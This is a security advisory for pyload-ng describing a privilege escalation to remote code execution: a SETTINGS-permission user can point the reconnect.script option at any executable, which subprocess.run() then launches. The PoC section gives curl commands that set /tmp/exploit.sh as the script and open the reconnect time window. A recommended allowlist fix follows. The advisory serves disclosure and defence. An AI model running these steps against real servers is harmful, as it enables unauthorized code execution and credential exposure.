PT-2026-59620 · Pypi · Pyload-Ng

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

7.5

High

VectorAV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The set config value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set config value() is a hardcoded check for general.storage folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.

Details

The vulnerability chain spans two components:
1. Unrestricted config write — src/pyload/core/api/ init .py:210-243
python
@permission(Perms.SETTINGS)
@post
def set config value(self, category: str, option: str, value: Any, section: str = "core") -> None:
  self.pyload.addon manager.dispatch event(
    "config changed", category, option, value, section
  )
  if section == "core":
    if category == "general" and option == "storage folder":
      # Forbid setting the download folder inside dangerous locations
      # ... validation only for storage folder ...
      return

    self.pyload.config.set(category, option, value) # No validation for any other option
The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storage folder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.
2. Arbitrary script execution — src/pyload/core/managers/thread manager.py:157-199
python
def try reconnect(self):
  if not (
    self.pyload.config.get("reconnect", "enabled")
    and self.pyload.api.is time reconnect()
  ):
    return False

  # ... checks if active downloads want reconnect ...

  reconnect script = self.pyload.config.get("reconnect", "script")
  if not os.path.isfile(reconnect script):
    self.pyload.config.set("reconnect", "enabled", False)
    self.pyload.log.warning(self. ("Reconnect script not found!"))
    return

  # ... reconnect logic ...

  try:
    subprocess.run(reconnect script) # Executes attacker-controlled path
  except Exception:
    # ...
The reconnect script value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.
3. Attacker also controls timing via same SETTINGS permission
The attacker can set reconnect.enabled=True, reconnect.start time, and reconnect.end time through the same set config value() endpoint to control when execution occurs. toggle reconnect() at line 321 requires only Perms.STATUS — an even lower privilege.
4. Additional privilege escalation via config access
Beyond RCE, the same unrestricted config write allows SETTINGS users to:
  • Read proxy credentials (proxy.username/proxy.password) in plaintext via get config()
  • Redirect syslog to an attacker-controlled server (log.syslog host/log.syslog port)
  • Disable SSL (webui.use ssl=False), rebind to 0.0.0.0 (webui.host)
  • Modify SSL certificate/key paths to enable MITM

PoC

Step 1: Set reconnect script to an attacker-controlled executable
Via API:
bash
# Authenticate and get session (as user with SETTINGS permission)
curl -c cookies.txt -X POST 'http://target:8000/api/login' 
 -d 'username=settingsuser&password=pass123'

# Set reconnect script to a known executable on the system
curl -b cookies.txt -X POST 'http://target:8000/api/set config value' 
 -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'
Via Web UI:
bash
curl -b cookies.txt -X POST 'http://target:8000/json/save config?category=core' 
 -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
Step 2: Enable reconnect and set timing window
bash
curl -b cookies.txt -X POST 'http://target:8000/api/set config value' 
 -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set config value' 
 -d 'category=reconnect&option=start time&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set config value' 
 -d 'category=reconnect&option=end time&value=23:59&section=core'
Step 3: Script executes when thread manager calls try reconnect()
The thread manager's run() method (called repeatedly by the core loop) invokes try reconnect(), which calls subprocess.run(reconnect script) at thread manager.py:199.
Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.

Impact

  • Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user
  • Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability
  • Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via get config()
  • Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings

Recommended Fix

Add an allowlist or category-level restriction in set config value() that prevents non-admin users from modifying security-critical options:
python
# In set config value(), after the storage folder check:
ADMIN ONLY OPTIONS = {
  ("reconnect", "script"),
  ("webui", "host"),
  ("webui", "use ssl"),
  ("webui", "ssl cert"),
  ("webui", "ssl key"),
  ("log", "syslog host"),
  ("log", "syslog port"),
  ("proxy", "username"),
  ("proxy", "password"),
}

if section == "core" and (category, option) in ADMIN ONLY OPTIONS:
  # Require ADMIN role for security-critical settings
  if not self.pyload.api.user data.get("role") == Role.ADMIN:
    raise PermissionError(f"Admin role required to modify {category}.{option}")
Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2996

Affected Products

Pyload-Ng